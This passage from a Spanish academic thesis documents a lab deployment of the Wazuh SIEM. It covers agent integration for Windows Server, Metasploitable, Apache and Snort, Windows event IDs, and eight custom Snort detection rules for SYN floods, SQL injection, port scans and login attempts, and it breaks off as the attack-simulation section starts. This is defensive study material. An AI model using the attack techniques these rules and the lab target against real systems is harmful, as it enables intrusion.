ejemplo, un inicio de sesion que antes era el evento 528 en XP, ahora se representa
con el ID 4624 en Windows 7 (Pittman, 2010). Los siguientes Event IDs que se
muestran en la Tabla 1 estan asociados a técnicas de evasion, persistencia y ejecucion
de codigo malicioso, estos eventos estan relacionados con técnicas como la evasion
de defensas mediante la desactivacion del registro de eventos y la eliminacion de

registros de eventos de Windows (MITRE, 2025) :
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Tabla 1

ID de eventos mas comunes en Windows segun el Marco Mitre Att&Ck

Event ID  Descripcion

4624 Registro de inicio de sesion exitoso; util para detectar accesos no
autorizados.
4697 Creacion de un nuevo servicio; puede indicar la instalacion de

software malicioso.

7045 Instalacion de un servicio por parte de un administrador o atacante.

7034 Terminacidn inesperada de un servicio, lo cual podria ser resultado de
una actividad maliciosa.

4104 Ejecucion de scripts de PowerShell, comunmente utilizada en ataques
para ejecutar codigo malicioso.

4624 El usuario inici6 sesion correctamente en una computadora.

4625 Se intent6 iniciar sesiéon con un nombre de usuario desconocido o una

contrasefia incorrecta, pero fallo.

4634 El proceso de cierre de sesion del usuario se completo.

4624 Registro de inicio de sesion exitoso; util para detectar accesos no
autorizados.

4647 El usuario inici6 el cierre de sesion.

e Eventos sistema operativo Linux: En los sistemas operativos Linux, Syslog es el
protocolo cominmente empleado para el registro de eventos. Este mecanismo permite
capturar, almacenar y transmitir informacion generada por diferentes procesos y
aplicaciones del sistema. Los mensajes producidos son enviados al servicio syslogd,
encargado de gestionarlos y guardarlos. Dependiendo de la distribuciéon de Linux,
estos registros suelen almacenarse en archivos como /var/log/syslog o

/var/log/messages. Estos logs son fundamentales para tareas de diagndstico,
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monitoreo del sistema y fortalecimiento de la seguridad. En sistemas Linux, aunque
no se utilizan Event IDs como en Windows, es crucial monitorear ciertos archivos de
registro ubicados en /var/log/ para detectar actividades sospechosas como se muestra
en la Tabla 2.
Tabla 2

Registros de actividades inusuales comunes de Linux segun el Marco Mitre

Archivo de registro Descripcion

/var/log/auth.log o Contienen registros de autenticacion; utiles para identificar
/var/log/secure accesos no autorizados.

/var/log/messages Incluye mensajes generales del sistema; puede revelar

actividades inusuales.

/var/log/syslog Registra eventos del sistema; esencial para el analisis de
incidentes.

/var/log/wtmp, /var/log/utmp y Almacenan informacidn sobre inicios y cierres de sesion,

/var/log/btmp asi como intentos fallidos de acceso.

2.2.12. Correlacion de Eventos. Los SIEM permiten correlacionar eventos usando reglas
basadas en la metodologia MITRE ATT&CK, lo que facilita la identificacion de patrones de
ataque secuenciales (MITRE, 2023). Un ejemplo de correlacion es la deteccion de multiples
intentos fallidos de autenticacion seguidos de la ejecucion de comandos en PowerShell.

2.2.13. Logica de Correlacion de Eventos y Creacion de Casos de Uso. La correlacion
de eventos en un SIEM se basa en la identificacion de patrones de actividad sospechosa a partir
de eventos individuales generados por diferentes sistemas. La logica de correlacion sigue estos

pasos:

e Recopilacion de eventos: Se capturan logs de sistemas relevantes (servidores,
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firewalls, SIEM, endpoints).

e Normalizacion y enriquecimiento: Se estructuran los datos para facilitar su analisis y

se agregan fuentes de inteligencia de amenazas.

e Definicion de reglas de correlacion: Se crean condiciones basadas en la relacion entre

eventos para detectar anomalias.

e Generacion de alertas: Se disparan alertas cuando se cumplen las reglas de

correlacion.

e Investigacion y respuesta: Los analistas verifican y toman medidas para mitigar

amenazas.
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CAPITULO 3:

3. Desarrollo

3.1. Topologia de implementacion

Para el desarrollo del presente trabajo se plantea la siguiente topologia descrita en la
Figura 5, dicha topologia va a contar con cuatro agentes: Windows Server 2019, Metasploitable
Server, “SNORT” y Apache Web Server, los cuales se van a integrar al SIEM Wazuh el cual se
va a configurar para recolectar logs de eventos que se presenten en cada uno de los agentes para
posterior almacenarlos, procesarlos y analizarlos para determinar correlaciones y finalmente
definir los casos de uso en funcidn del Framework MITRE ATT&CK.
Figura 6

Topologia de agentes integrados al SIEM Wazuh

ISP
|
L
| —

L__Jj
=

Equipo atacante

| ——
v SIEM WAZUH
IP:172.16.16.103
[y

POOL RED INTERNA
172.18.16.X/255.255.255.0

Windows Metasploitable SNORT Apache Web

Server 2012 Server Server

Nota. La figura describe la arquitectura base del proyecto que permite lanzar ataques y
verificar la recepcion de logs del SIEM Wazuh, la cual esté dentro de un pool de red

172.16.16.x/24.



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM
3.2. Instalacion y Configuracion del SIEM Wazuh.

Previo a la instalacion del SIEM hay que tomar en cuenta los siguientes requisitos de
hardware para el correcto funcionamiento del SIEM esto dependen en gran medida de la cantidad
de puntos finales protegidos en nuestro caso 4 agentes, en base a los agentes que se van a
integrar se implementa el servidor Wazuh, el indexador Wazuh y el panel de control Wazuh en el

mismo host bajos los siguientes recursos descritos en la Tabla 3.
Tabla 3

Requisitos minimos de hardware

# de Agentes UPC RAM Almacenamiento 90 dias

1-25 4 CPU virtuales 8 GB 50 GB

En cuanto al sistema operativo, los componentes centrales de Wazuh requieren un
procesador Intel o AMD Linux de 64 bits (arquitectura x86_64/AMD64) para funcionar. Wazuh
recomienda cualquiera de las siguientes versiones de sistema operativo:

Tabla 4

Requisitos minimos de software

Sistema operativo Version
Amazon Linux 202023
Red Hat Enterprise Linux 7,809
CentOS 708
Ubuntu 16.04, 18.04, 20.04, 22.04, 24.04

Para la instalacion de la SIEM Wazuh se siguid los siguientes pasos descritos en la Figura

7 que se muestra a continuacion:
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Figura 7

Proceso de instalacion Wazuh

1. Preparar
entorno maquina
virtual Ubuntu

2. Actualizar
maquina Ubuntu

4. Descargar e
instalar SIEM
Wazuh

5. Configurar
Wazuh Manager

7. Configurar 8. Acceder ala
agentes (Maquina GUlde la SIEM
Linux) Wazuh
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3. Instalar
dependencias
necesarias

6. Iniciar servicio
de SIEM Wazuh
porconsola

Por fines practico para la instalacion del SIEM Wazuh se hizo usos del archivo wazuh-

4.11.2.0va, el cual se implementa como una maquina virtual sobre el hipervisor VMware

Workstation Pro en su version x64 en el sistema operativo Ubuntu. En VMware Workstation Pro,

se utiliza la opcion "Importar servicio virtualizado" para cargar el archivo OVA previamente

descargado y seguir los pasos de configuracion indicados. Tras completar el proceso de

importacion, se inicia la maquina virtual, y es necesario identificar la direccion IP asignada para

poder acceder a la interfaz del Dashboard de Wazuh desde un navegador. En nuestro caso se nos

ha asignado la IP: 172.16.16.103 .
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Figura 8

Iniciacion del Servidor Wazuh y asignacion de IP

[root@uazuh-server ~1# ip a
1: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group defaul
t glen 1000
link/loopback brd
inet /8 scope host lo
valid_lft forever preferred_lft forever
inetb »128 scope host noprefixroute
valid_Ift forever preferred_lft forever
2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 gdisc fq_codel state grou
p default glen 1000
link/eth brd

inet s24 metric 1024 brd scope global dynamic eth

Una vez obtenida la IP se procedio a ingresar por el protocolo HTTP con la URL del
localhost al Dashboard de Wazuh en el cual se va a realizar la integracion de los agentes y el
monitoreo de estos.

Figura 9

Dashboard inicial SIEM Wazuh

<« c © No seguro [..;;,‘.. 172.16.16.103/a; o# l i g te re n \ f v-24htc Bg (
= W Overview
AGENTS SUMMARY LAST 24 HOURS ALERTS
® Active (0 ais : . : A Z
Critical severity High severity Medium severity
@ Disconnected (3) O
Rule level 15 or higher Rule level 12 to 14 Rule level 7 to 11
ENDPOINT SECURITY THREAT INTELLIGENC
V) ~anfiaiiratian Assasemant — Mahuara Natantian 1 Theaat Liintina N

Cabe destacar que el puerto utilizado por Wazuh para la comunicacion entre el Manager y
los agentes es el puerto 1514. Este puerto por defecto es utilizado tanto para comunicacion de
logs como para la transmision de eventos entre el Wazuh Manager y los agentes. Para el proyecto

como se indicd con anterioridad se instalo cuatro agentes: Windows Server 2019, Metasploitable
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Server, “SNORT” y Apache Web, y por defecto el mismo servidor Ubuntu quien enviara los logs
hacia la SIEM WAZUH.

La SIEM Wazuh proporciona un Dashboard de los eventos recolectados en un periodo de
tiempo, con las alertas detectadas dentro del framework del Mitre&Attack por defecto
validacion de credenciales y acceso a privilegios root , como se muestra a continuacion:

Figura 10

Dashboard Wazuh modulo de seguridad

= 0O quuh e Madules Security events @ a [}

Dashboard Events il Explore agent [¥] Generate report

Dol i Last 24 haurs Show dates
managername: uburty |+ Add filter

Tatal Lewel 12 or abave alerts Authentication falure Authentication success

Alert level evolution s Ton MITRE ATTECHE. !

‘alld Accounds
7 @ Sudoand Sudo Cac
% .

3.3. Integracion de Agentes
3.3.1. Integracion Agente Windows Server 2019. Para implementar el agente, desde el
Dashboard de Wazuh se selecciona afiadir agente como se muestra en la Figura 11,
seguidamente se selecciona el sistema operativo del agente en este caso Windows, se agrega los
datos solicitados entre ellos la Ip del servidor Wazuh y el nombre o alias del agente como se

detalla en la Figura 12.
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Figura 11

Creacion de Agente desde el Dashboard de Wazhu

= WAZUH ~ Modules

Total agents Active agents

0 0

& No agents were added to this managef. AddEgLnt

SECURITY INFORMATION MANAGEMENT

Figura 12

Creacion de Agente Windows desde el Dashboard de Wazhu

= WAZUH Agents

e Wazuh server address

You can predefine the Wazuh server address with the enrol

nt.dns Wazuh app setting.

172.16.16.103 > |P Wazuh Server

e Assign the agent to a group

Select one or more existing groups

default x

o Install and enroll the agent

You can use this command to install and enroll the Wazuh agent in one or more hosts.

i https://packages.wazuh.com/4.x wazuh-agent-4.2

4 5.ms1; agent-4 5.ms1 /q WAZUH_MANAGER= '] ' WAZUH_REGISTRATION_SERVER= '172
WAZUH_AGENT _GROUP="de fault I
@ You will need administrator privileges to perform this installation. i 5 >
| o poc Script para instalacion, agente Wazuh en Window:

Una vez creado Wazuh nos entrega un script que debe ser ejecutado en Windows server
2019, donde se apunta desde el agente servidor hacia Wazuh Manager, de igual manera para

levantar la conexién entre los dos es necesario seguir el siguiente proceso:

e Descargar el agente desde la ruta https://packages.wazuh.com/4.x/windows/wazuh-

agent-4.11.0-1.msi

e Ejecutar el instalador descargado e ingresar la direccion IP del servidor Wazuh.
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e Modificar el archivo de configuracion (ossec.conf) que se encuentra en la ruta:
C:\Program Files (x86)\ossec-agent y modificar el puerto segiin la configuracion de
wazuh

Figura 13

Agente wazuh para Windows Server 2019

~ hoy

"M wazuh-agent-4.11.0-1.msi

Manage View Help
| ~Wazuhv4.9.0
Agent: Auth key not imported, [0] - 0

Status: Require import of authentication key.
- Nat Bunining

Manager IP: ID.U.D.U

futhentication key:  |<insert_auth_key_here>

Save | Refrash

https://wazuh.com Revision 40900

Una vez que se han realizado todas las configuraciones necesarias, se ingresa al panel de

control de wazuh y se verifica la instalacion y estado activo del agente en Windows server 2019.

Figura 14

Verificacion agente wazuh para Windows Server 2019

W. Endpoints MV-Win-Srv-19 a @

Hunting  File Integrity Monitoring More... ™

(9) MV-Win-Srv-19 (002) B [Q Inventory data ] Stats {8} Configuration

Status IP address Version Group

Operating system
® disconnected ) 172161624  Wazuhv4i1.2 default i

Cluster node Registration date
Server 2019 D; ion 10.0.17763.3650 node01 Apr 19, 2025 @ 16:36:12.000
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Cabe recalcar que el agente Windows Server 2019 por lo general envia logs originarios
de Aplicaciones de sistemas y seguridad, por lo que adicional se configuro el de Windows
defender y el Sysmon para obtener logs mas detallados de los eventos.
Figura 15

Configuracion de Windows Defender y Sysmom en Wazuh

= | W Settings

H

< Manager configuration G Refresh

Edit ossec.conf of Manager

2759

268~ <localfile>

261 <location>Application</location>
262 <log_format>eventlog</log_format>
263 </localfile>

265+ | <localfile>

66 <location>Microsoft-Windows-Windows Defender/Operational</location>
<log_format>eventchannel</log_format>

</localfile>

276~ | <localfile>

271 <location>Microsoft-Windows-Sysmon/Operational</location>
272 <log_format>eventchannel</log_format>

273 </localfile>

I-- snort -->
276~ <localfile>
<log_format>snort-full</log_format>

3.3.2. Integracion Syslog Metasploitable Server. Esuna maquina virtual disefiada
para la practica de vulnerabilidades y técnicas de pentesting. Sin embargo, debido a las
limitaciones de compatibilidad con las versiones actuales del agente de Wazuh, no fue posible
instalarlo directamente. Para solventar esta situacion, se opto por reenviar los logs desde
Metasploitable al servidor de Wazuh mediante el protocolo Syslog (Github, 2022).

Para lograrlo, se actualiz6 el paquete de logging en la VM de Metasploitable, migrando

de sysklogd a rsyslog, lo que permiti6 establecer una comunicacion efectiva con el servidor

Wazuh a través de Syslog (usualmente por el puerto UDP 514 o el que se haya definido). Esta
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configuracion permite que los eventos generados en Metasploitable sean recibidos y procesados
por el servidor Wazuh.

Es importante destacar que, dado que no se instalo el agente de Wazuh en Metasploitable,

esta maquina no sera visible en el Dashboard de Wazuh como un agente registrado, aunque sus
eventos si estaran siendo analizados desde el backend gracias al reenvio por Syslog como se
observa en la Figura 16.
Figura 16

Actualizacion de paquete syslog en VM Metasploitable

En el archivo /etc/syslog.conf de Metasploitable se agreg6 la siguiente linea: *.*

@172.16.16.103 para reenviar los logs al servidor Wazuh. Se realizaron pruebas de
funcionamiento del servicio syslog para verificar el arribo de logs desde Metasploitable hacia
Wazuh a través del puerto 514, y posteriormente se validara en consola la correcta recepcion de

dichos logs en el servidor Wazuh.
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Figura 17

Validacion de envio de logs desde Metasploitable a Wazuh server
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Figura 18

Validacion de envio de logs desde Metasploitable a Wazuh server
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3.3.3. Integracion Agente Apache Web Server. Para la integracion del servidor web a

Wazuh se realiza la instalacion de un agente en el servidor Linux que levanta la ampliacion
web, bajo el siguiente detalle y comandos:

e Instalacion clave GPG: curl -s https://packages.wazuh.com/key/GPG-KEY -
WAZUH | gpg --no-default-keyring --keyring gnupg-
ring:/usr/share/keyrings/wazuh.gpg --import && chmod 644
/usr/share/keyrings/wazuh.gpg

e Agregar al repositorio: echo "deb [signed-by=/usr/share/keyrings/wazuh.gpg]
https://packages.wazuh.com/4.x/apt/ stable main" | tee -a
/etc/apt/sources.list.d/wazuh.list

e Actualizar la informacion del paquete: apt-get update

e Instalacion del agente: WAZUH MANAGER="172.16.16.103" apt-get install
wazuh-agent

e Habilitar e iniciar el servicio del agente Wazuh:

o systemctl daemon-reload
o systemctl enable wazuh-agent
o systemctl start wazuh-agent
Una vez instalado el agente se realiza la configuracién del mismo, para que pueda
visualizarse desde la consola y empiece a enviar logs. Para ello, se modifica el archivo de
configuracion en base al siguiente detalle:
e Configurar el puerto 1514 protocolo TCP para envio de los logs de sistema operativo.
e Configurar el puerto 514 protocolo TCP para envio de los logs de aplicaciones web

mediante syslog.
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Figura 19

Configuracion agente wazuh en servidor apache

MU nano 7.2

ation for debian 12

onfig-profiles

Nota: En la figura, se visualiza la configuracion realizada en el archivo /var/ossec/etc/ossec.conf
en el cual se configura la IP: 172.16.16.103 correspondiente al servidor wazuh, los puertos 1514
y 514 mediante protocolo TCP.

Con el agente configurado en el servidor, se valida la comunicacion y registro del mismo
desde la consolad de administracion de wazuh.
Figura 20

Validacion comunicacion agente servidor Apache en Wazuh.

Agents Files

Agents (1)

Version Status Actions
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Posterior a la validacion del agente, para configurar el envio de logs de apache se realiza
la modificacion del archivo de configuracion incluyendo las rutas donde se alojan los logs
requeridos y el formato a utilizarse.
Figura 21

Configuracion rutas syslog servidor Apache.

GHU nano 7.2 gssec.conf %

Figura 22

Configuracion formatos syslog servidor Apache.

location>
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3.3.4. Integracion Agente Snort. En primera instancia se configurdé Snort como un
sistema de deteccion de intrusos (IDS) en un servidor Debian con IP 172.16.16.112, con el
objetivo de analizar el trafico de red y generar alertas ante actividad sospechosa. En esta
implementacion se utilizé Snort 3, el cual incorpora el uso del lenguaje Lua para gestionar su
configuracion principal (snort.lua) y definir de forma maés flexible los mddulos activos, filtros y
formatos de salida.

Primero, se instal6 Snort 3 y se ajusto el archivo de configuracion en Lua (snort.lua) para
registrar eventos en un formato legible (alert fast), estableciendo como ruta de salida el archivo
/var/log/snort/alert.fast.

Luego, se cred una regla de ejemplo para detectar trafico ICMP, agregandola al archivo
de reglas personalizado (/ust/local/etc/snort/rules/local.rules) con la siguiente sintaxis:

alert icmp any any -> any any (msg:"ICMP Packet Detected"; sid:1000001; rev:1;)

Finalmente, se realizaron pruebas de generacion de trafico ICMP desde otro host dentro
de la red y se verifico que las alertas fueran generadas correctamente en la consola y registradas
en el archivo de logs definido.

Figura 23

Prueba ping para deteccion de eventos del IDS Snort

64
64

64
64 from 172.16
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Figura 24

Recepcion de eventos de Snort.

, TCP, 1 : 172.16.16.11 172.16.16.1 1411, allow
_tcp) TCP timestamp is outsi

allow

allow

TCP Options NOP NOP

allow

Figura 25

Resumen de paquetes recibidos de Snort.

Module Sta

appid

Posteriormente, se instalo el agente de Wazuh en el mismo servidor Debian y se edit6 el

archivo ossec.conf para que Wazuh monitoree el archivo de logs de Snort
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(/var/log/snort/snort.alert.fast) usando el formato snort-full. Tras reiniciar el agente, los eventos
de Snort comenzaron a visualizarse en el panel de Wazuh, permitiendo correlacion de alertas,
gestion de incidentes y monitoreo centralizado.

Figura 26

Script de configuracion de eventos de Snort a Wazuh

< Manager configuration

Edit ossec.conf of Manager

£Lo1 FLOUHD LLUNIFAPPLLCD L LU= § LU LA

262 | <log_format=eventlog</log_format=

263 </localfile>

264

265- <localfile=

266 <location=Microsoft-Windows-Windows Defender/Operational</location=
267 <1lpg_format=eventchannel=,/log_format=

268 <flocalfiles

269

278- <localfile=

271 <location=Microsoft-Windows-Syszmon/Operational</location=

72 =log_format=eventchannel</log_format=

273 <flocalfile=

274
275 =!-- snort --=
276 <localfile=

277 <log_format=snort-full«/log_format=
278 <locations=/var/log/snort/snort.alert.fast</location=
279 </localfile>
288
281~  <ruleset>
282 <!-- Default ruleset --»
283 <decoder_dir=ruleset/decoders</decoder _dir>
284 =rule_dirsruleset/rules=/rule_dir=
285 <rule_exclude=8215-policy_rules.xml</rule_exclude=
286 =list=etc/lists/audit-keys</list=
287 <list=etc/lists/amazon/aws-eventnames</1ist>
288 <list=etc/lists/security-eventchannel</list>
289
298 <l-- User-defined ruleset --=
291 =decoder _dir=etc/decoders=/decoder_dir=
Figura 27

Validacion de servidor snort integrado a Wazuh

D Status IPaddress  Versicn Group Operating system Cluster node Registration date
004 @ active () 1721616112 Wazuhvail2  defaul 2 sl GNUYLinux 2020.4 node0t Apr 26, 2025 @ 09113:20.000
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Posteriormente, se crearon y afinaron 8 casos para deteccion los cuales se detallan a

continuacion:

1. Posible ataque SYN Flood
alert tcp any any -> 172.16.16.112 80 (flags:S; detection_filter: track by _src, count
100, seconds 10; msg:"Possible SYN Flood Attack"; sid:...)
Detecta un posible ataque de denegacion de servicio SYN Flood cuando un origen
envia mas de 100 paquetes SYN en 10 segundos hacia el puerto 80 del destino
172.16.16.109.

2. Posible ataque de inyeccion SQL
alert tcp any any -> 172.16.16.112 80 (msg:"Possible SQL injection attack detected";
flow:to_server,established; content:"%27"; sid:...)
Detecta intentos de inyeccion SQL cuando en trafico TCP hacia el servidor en puerto
80 se identifica el caracter ' codificado como %27.

3. Deteccion de escaneo de puertos
alert tcp any any -> any any (msg:"Port scanning detected"; flags:S;
detection_filter:track by src, count 3, seconds 10; sid:100003; rev:1;)
Detecta escaneo de puertos cuando un origen envia mas de 3 paquetes SYN a
diferentes puertos en un lapso de 10 segundos.

4. Posible interceptacion de red
alert ip any any -> any any (msg:"Possible network interception detected"; fragbits:
M; sid:100004; rev:1;)
Detecta posible interceptacion o manipulacion en la red cuando se reciben paquetes IP

fragmentados con el bit "More Fragments" activado.
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5. Intento de acceso con contraseiia/login
alert tcp any any -> 172.16.16.112 80 (msg:"Password/login attempt detected";
content:"POST"; content:"username"; content:"password"; sid:...)
Detecta intentos de login o envio de credenciales cuando se observa una solicitud
HTTP POST con las palabras "username" y "password".

6. Posible huella digitalizacion DHCP
alert udp any any -> any 67 (msg:"Possible DHCP fingerprinting detected";
content:"|01 01 06|"; sid:10006;)
Detecta posibles escaneos o huellas basadas en DHCP cuando se reciben paquetes
UDP con contenido especifico relacionado al fingerprinting.

7. Paquete TCP posiblemente manipulado
alert tcp any any -> any any (msg:"Possible crafted TCP packet detected"; flags: AP;
dsize: 0; sid:10007; rev:1;)
Detecta paquetes TCP sospechosos con flags ACK y PUSH activados y sin datos
(payload 0 bytes), lo que puede indicar manipulacion o ataque.

8. Descarga de archivo APK detectada
alert tcp any any -> any 80 (msg:"Descarga de archivo APK detectada";
content:".apk"; http_uri; flow:to_client,established; priority:1; sid:...)
Detecta descargas de archivos APK cuando se observa trafico HTTP hacia el cliente

con la cadena ".apk" en la URI.
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Figura 28

Configuracion Reglas Snort

]

Jusr/local/etc/rules/local.rules

snort_server

File Actions Edit View

Esta integracion fortalece la postura de seguridad de la red mediante deteccion temprana
y respuesta ante amenazas, sin la necesidad de instalar agentes en ataques como: escaneo o
navegacion de paginas como malware.

Figura 29

Validacion de casos de uso en Wazuh

W. Rules

< 0010-rules_config.xml

8- <rule id="2" level="8" noalert="1">

9 <category>Tirewall</category>

20 <description>Generic template for all firewall rules.</descriptions
2 </rule>
22 </group>

4 - <group name="ids,">
<rule id="3" level="8" noalert="1">
<categorysids</category>
<description=Generic template for all ids rules.</descriptions
8 </rule>
9 </group>

- <group name="web-1og, ">
<rule id="4" level="8" noalert="1">
<category-web-log</category=
<description-Generic template for all web rules.</description>
</rule>
</aroup>

33
35

Una vez instalado el ultimo agente al SIEM Wazuh se completa la implementacion del

ambiente de pruebas planteado inicialmente para realizar los diferentes ataques como phisihing,

fuerza bruta, ssh entre otros.
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Figura 30

Dashboard Wazuh con los Agentes integrados.

€« > ¢ o Nosegurol https://172.16.16.103/app/endpoints-summary#/agents-preview/ I aw OO0 @ Cjy O & &
= W. Endpoints e ®
AGENTS BY STATUS TOP 508 TOP 5 GROUPS
@ Active (0) ® windows (2) @ default (3)
@ Disconnected (3) ® kali (1)
Pending (0)

@ Never connected (0)

Agents (3) X @ Deploy new agent C Refresh by Export formatted More v [}
status=disconnected waL
DA Name IP address Group(s) ~ Operating system Clusternode  Version Status Actions

001 MV-Win-Srv-19 172.16.16.24 default Microsoft Windows Server 2019 Datacenter Evaluation 10.0.17763.3650 nodeQ1 v4.11.2 e disconnected @

002 kaliz 172.16.16.112 default A Kali GNU/Linux 2024.4 node01 v411.2 @ disconnected ®

004 | MV-Apache 172.16.16.20 default O Debian GNU/Linux 12 node01 va11.2 @ disconnected ®
Rows per page: 10 v ¢ W >

3.4. Casos de Uso Configurados para la Deteccion y Monitoreo de Seguridad con Wazuh. A
continuacion se presenta los principales casos de uso para la deteccion y respuesta de seguridad
en nuestros entornos con Wazuh, agrupando las fuentes de logs y las reglas que aplicamos:

e Deteccion de malware y pruebas de efectividad antivirus: Monitoreo de eventos
de Windows Defender y deteccion del archivo de prueba EICAR para validar
proteccion antimalware.

e Monitoreo avanzado de actividad en endpoints: Seguimiento detallado de
procesos, conexiones y cambios en sistemas Windows mediante Sysmon para detectar
tacticas, técnicas y procedimientos (TTPs) maliciosos.

e Deteccion de intrusiones y amenazas en red: Analisis de alertas generadas por
Snort para identificar escaneos, exploits y comunicaciones con comandos y controles
(C2).

e Proteccion de aplicaciones web: Deteccion de ataques comunes a servidores

47
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Tabla §

Apache, como intentos de fuerza bruta, bots y errores HTTP que pueden afectar la
disponibilidad.

Auditoria y control de accesos en Windows: Supervision de eventos criticos de
seguridad como intentos fallidos de login, accesos privilegiados y cambios en
politicas de usuario.

Monitoreo de estabilidad y funcionamiento del sistema operativo: Registro de
fallos en servicios, hardware y controladores para asegurar la estabilidad del entorno
Windows.

Visibilidad de fallos y eventos en aplicaciones criticas:Captura y analisis de errores
en aplicaciones, especialmente aquellas basadas en .NET.

Supervision de eventos en sistemas Linux y dispositivos de red: Control de
accesos, autenticaciones y errores a través de logs syslog, cubriendo servicios como

SSH, sudo y PAM.

Casos de uso configurados en la SIEM Wazuh

Herramienta Fuente de Logs Casode Uso  Objetivo Priorid Reglas /
Clave de ad Decodificadores
Seguridad Wazuh
Relacionados
Sysmon Microsoft- Creacion de Deteccion  Alta 0595-win-
Windows- procesos, de TTPs, sysmon_rules.x
Sysmon/Operatio  conexiones de  persistenci ml
nal red, escritura  a,
en disco, movimient
registry o lateral
Snort /var/log/snort/aler Escaneo de Deteccion  Alta 0240-
t red, exploits,  de ids_rules.xml +

shellcode, C2  intrusiones 0285-


https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0595-win-sysmon_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0595-win-sysmon_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0595-win-sysmon_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0240-ids_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0240-ids_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/decoders/0285-snort_decoders.xml
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Herramienta Fuente de Logs Caso de Uso  Objetivo Priorid Reglas /
Clave de ad Decodificadores
Seguridad Wazuh
Relacionados
y snort_decoders.x
amenazas ml
en red
Apache /var/log/apache2/  Errores HTTP Proteccion Alta 0250-
access.log, (401, 403, de apache_rules.xm
error.log 404, 500), aplicacion 1
fuerza bruta, es web y
bots, scans disponibili
dad
Windows Security.evtx Login fallido  Auditoria  Alta 0580-win-
Security (4625), acceso 'y security_rules.x
a cuentas deteccion ml
privilegiadas,  de accesos
UAC bypass no
autorizado
]
Windows System.evtx Fallas de Estabilidad Media  win-
System servicios, del sistema system_rules.xm
cambios de y 1
hardware, monitoreo
controladores
Windows Application.evtx ~ Fallos en Visibilidad Media  win-
App aplicaciones,  de application_rule
errores .NET, aplicacion s.xml
logs es criticas
especificos de
software
Syslog /var/log/syslog, Eventos del Monitoreo  Alta 0010-
(Linux/Netw /var/log/messages sistema, sudo, de accesos, rules_config.xml
ork) SSH, PAM, estabilidad
kernel y errores



https://github.com/wazuh/wazuh-ruleset/blob/master/decoders/0285-snort_decoders.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/decoders/0285-snort_decoders.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0250-apache_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0250-apache_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0250-apache_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0580-win-security_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0580-win-security_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0580-win-security_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-system_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-system_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-system_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-application_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-application_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/win-application_rules.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0010-rules_config.xml
https://github.com/wazuh/wazuh-ruleset/blob/master/rules/0010-rules_config.xml
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3.5. Reglas Wazuh: Predefinidas y Personalizadas (XML). En Wazuh, se utiliz6 un sistema de
reglas XML que nos permite detectar, clasificar y responder a eventos de seguridad provenientes
de multiples fuentes de logs. Estas reglas estan organizadas en archivos XML que definen
condiciones especificas, tales como patrones de logs, niveles de severidad y acciones de alerta.

Se dividio las reglas en dos grandes categorias:

3.5.1. Reglas Predefinidas. Estas reglas son proporcionadas directamente por el equipo
de desarrollo de Wazuh y se encuentran disponibles en su repositorio oficial en GitHub
(wazuh/wazuh-ruleset). Cubren un amplio rango de sistemas y servicios comunes, como:

e Windows (Defender, Sysmon, eventos del sistema)

e Syslog (Linux, UNIX, dispositivos de red)

e Servidores web como Apache

Estas reglas nos permiten implementar rapidamente una base solida y asegurar la

compatibilidad con una gran variedad de entornos empresariales.

3.5.2. Reglas Personalizadas. Se desarrollo estas reglas internamente para:

e Integrar herramientas no soportadas por defecto (por ejemplo, Snort).

e Ampliar nuestras capacidades de deteccion frente a amenazas especificas (como

pruebas con el archivo EICAR para Windows Defender).

e Ajustar la sensibilidad de las alertas de acuerdo con nuestras politicas internas de

ciberseguridad.

Estas reglas personalizadas generalmente las almacenamos en rutas como

/var/ossec/etc/rules/local rules.xml o en archivos personalizados dentro de /var/ossec/etc/rules/,

adaptadas a las necesidades especificas de nuestro entorno.
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Tabla 6

Reglas personalizadas y preconfiguradas

Tipo de Regla Archivo XML Herramienta / Descripcion / Uso
Fuente de Log
Predefinida windows defender rules.xml Windows Reglas para eventos
Defender antimalware y cambios
criticos
Personalizada windows-defender-eicar.xml  Windows Deteccion especifica del

Predefinida

Personalizada

Personalizada

Predefinida

Predefinida

Predefinida

Predefinida

Predefinida

0595-win-sysmon_rules.xml

0240-ids_rules.xml

0285-snort_decoders.xml

0250-apache _rules.xml

0580-win-security rules.xml

win-system_rules.xml

win-application_rules.xml

0010-rules_config.xml

Defender (archivo
EICAR)
Sysmon

Snort IDS

Snort IDS

Apache

Windows Security

Windows System

Windows
Application

Syslog
(Linux/UNIX,
dispositivos de
red)

archivo de prueba
EICAR

Reglas detalladas para
eventos de Sysmon
(procesos, red, registro,
etc.)

Reglas creadas para
integrar alertas de Snort
Decodificador para
interpretar las alertas de
Snort

Reglas para proteccion
web ante escaneos,
errores HTTP, etc.
Reglas para login,
privilegios, auditoria de
cuentas

Reglas para monitorear
el sistema operativo y
sus servicios

Eventos de aplicacion:
errores, fallas de
software, NET

Reglas generales de
eventos por syslog
(sudo, kernel, ssh,
PAM, etc.)
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3.6. Simulacion de Ataques
3.6.1. Simulacion Ataques Hacia Windows Server 2019. Con el objetivo de evaluar la
eficacia de las capacidades de deteccion y respuesta del SIEM Wazuh, se llevo a cabo una
simulacion controlada de ataques dirigidos a un entorno basado en Windows Server 2019. Este
tipo de ejercicios resulta fundamental para probar la configuracion del SIEM, asi como para
